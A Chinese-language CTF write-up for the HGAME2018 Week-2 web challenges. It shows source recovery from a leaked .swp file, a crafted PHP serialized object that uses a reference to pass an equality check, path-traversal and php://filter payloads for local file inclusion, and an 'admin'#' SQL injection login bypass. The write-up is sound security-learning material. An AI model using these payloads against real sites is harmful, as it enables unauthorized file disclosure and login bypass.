HGAME2018 Week-2 Web Writeup

文章目录
  1. 1. Random
  2. 2. 草莓社区-1
  3. 3. 草莓社区-2
  4. 4. xss-1
  5. 5. xss-2
  6. 6. 最简单的sql题

Random

点开链接以后里面啥都没有…所以猜测这里一定有源码泄露什么的,所以/.random.php.swp就能get源码,Notepad++打开以后发现源码是损坏的,所以需要对源码进行修复,因为是.swp,所以直接扔到Ubuntu里面 vim -r就OK。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
include ('flag.php');

class emmm
{
var $public;
var $secret;
}

if ($_GET['emmm']) {
$emmm = unserialize($_GET['emmm']);
if (!is_object($emmm)) {
die("error");
}
$emmm->public = random_int(0, 100000000);
$emmm->secret = random_int(0, 100000000);
if ($emmm->public == $emmm->secret) {
echo $flag;
}
}

#highlight_file(__FILE__);

好咯,这里就是代码审计的过程,通过$_GET的方式来获取emmm的值,在序列化解析,如果序列化解析后emmm是一个对象,那就退出,所以这里要先对emmm进行序列化操作。

1
2
3
4
5
6
7
8
9
<?php
class emmm
{
var $public;
var $secret;
}
$emmm=new emmm();
echo serialize($emmm);
?>

序列化以后的结果是:

1
O:4:"emmm":2:{s:6:"public";N;s:6:"secret";N;}

接着往下审计,这里需要public的值和secret的值相等,php支持引用赋值,因为secret的编号为2,所以进行赋值的序列化语句需要进行相关修改。

1
O:4:"emmm":2:{s:6:"public";N;s:6:"secret";R:2;}

php中->对象引用(r),指针引用(R)
这里强烈推荐刺珩师傅的博客,搜反序列化构造的时候能看到这篇博客很惊喜:

1
https://c1h3ng.github.io/php/2017/09/20/php-serialize/

草莓社区-1

这个题已经提示了是本地包含,首页的index.html下面有两个链接,其中一个链接是show_maopian.php?mao=2.jpg,因为LFI,所以直接mao=../flag.php就能拿到flag.php的base64,解密以后就是flag。

草莓社区-2

哭晕在厕所我做的是对的,因为火狐的问题显示不出来我还以为我做错了,直到我扔到了Chrome…
题目提示LFI,所以开始测试LFI,php://input没有反应,但是测试php://filter/read=convert.base64-encode/resource=../flag.php,在火狐的查看元素里面查看参数发现read等号后面的全部被过滤掉了,所以对等号进行url编码,%3d进行绕过。
payload:

1
mao=php://filter/read%3dconvert.base64-encode/resource%3d../flag.php

然后扔到Chrome里面就有flag的加密base64,解密一下就好。

xss-1

xss-2

两道xss没做,等我重新学习一下就解决这两题。

最简单的sql题

这题真的好简单…看到登录框我以为可能需要写个脚本啥的,然后开始测试admin’#,密码随便输的,然后就有flag了。

写在最后…这次HGAME2018的flag放出来我的Hexo就报错,我也懒截图了,所以把flag全删了…